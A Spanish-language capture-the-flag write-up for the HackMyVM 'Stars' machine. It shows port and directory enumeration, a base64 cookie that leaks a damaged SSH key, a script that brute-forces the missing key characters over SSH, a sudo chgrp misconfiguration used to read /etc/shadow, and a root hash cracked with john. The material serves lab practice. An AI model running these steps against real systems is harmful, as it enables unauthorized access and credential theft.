cd ~/blog

~/writeups/hmv/069-stars.md

069 - Stars

easy Linux hmv 14-04-2024
Cookie-based file disclosureCorrupted SSH key brute force recoverysudo chgrp /etc/shadow read
hackmyvm.eu/machines/machine.php?vm=Stars

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.12
 nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.12
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-14 15:32 -04
Nmap scan report for 192.168.1.12
Host is up (0.00035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 9e:f1:ed:84:cc:41:8c:7e:c6:92:a9:b4:29:57:bf:d1 (RSA)
|   256 9f:f3:93:db:72:ff:cd:4d:5f:09:3e:dc:13:36:49:23 (ECDSA)
|_  256 e7:a3:72:dd:d5:af:e2:b5:77:50:ab:3d:27:12:0f:ea (ED25519)
80/tcp open  http    Apache httpd 2.4.51 ((Debian))
|_http-title: Cours PHP & MySQL
|_http-server-header: Apache/2.4.51 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.55 seconds
 gobuster dir -u 'http://192.168.1.12' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/index.php            (Status: 200) [Size: 279]
/sshnote.txt
...

Un curl verboso revela una cookie con un nombre de archivo codificado:

 curl http://192.168.1.12 -vvv
...
< Set-Cookie: cookie=cG9pc29uZWRnaWZ0LnR4dA%3D%3D
...

 echo "cG9pc29uZWRnaWZ0LnR4dA==" | base64 -d
poisonedgift.txt

Descargamos ese archivo (una clave SSH incompleta) y la nota:

 wget http://192.168.1.12/poisonedgift.txt
 cat poisonedgift.txt
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

 wget http://192.168.1.12/sshnote.txt
 cat sshnote.txt
My RSA key is messed up, it looks like 3 capital letters have been replaced by stars.
Can you try to fix it?

sophie

La clave tiene 3 letras mayúsculas reemplazadas por ***. Generamos un wordlist con todas las combinaciones de 3 letras y hacemos fuerza bruta sustituyéndolas hasta que la clave funcione:

❯ cat wordlist_creator.py
import itertools
letras = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
combinaciones = itertools.product(letras, repeat=3)
with open('wordlist.txt', 'w') as archivo:
    for combinacion in combinaciones:
        palabra = ''.join(combinacion)
        archivo.write(palabra + '\n')
 cat cracking_id_rsa.sh
#!/bin/bash

for LETTERS in $(cat wordlist.txt); do
    sed "s/\*\*\*/$LETTERS/g" id_rsa > tmp.file && chmod 600 tmp.file
    echo $LETTERS
    ssh sophie@192.168.1.12 -i tmp.file && break
done

 ./cracking_id_rsa.sh
...
BOM
sophie@debian:~$

Obtenemos una shell como sophie y la primera flag. Revisamos sudo -l:

sophie@debian:~$ sudo -l
Matching Defaults entries for sophie on debian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sophie may run the following commands on debian:
    (ALL : ALL) NOPASSWD: /usr/bin/chgrp

Podemos ejecutar chgrp como root. Lo usamos para apropiarnos temporalmente de /etc/shadow, leer el hash de root y restaurar el grupo:

sophie@debian:~$ sudo chgrp sophie /etc/shadow
sophie@debian:~$ cat /etc/shadow
...
root:$1$root$dZ6JC474uVpAeG8g0oh/7.:18917:0:99999:7:::
...
sophie@debian:~$ sudo chgrp shadow /etc/shadow

Crackeamos el hash con john:

 echo 'root:$1$root$dZ6JC474uVpAeG8g0oh/7.' > hash
 /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
barbarita        (root)
...

Y nos autenticamos como root:

sophie@debian:~$ su root
Password:
root@debian:/home/sophie#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados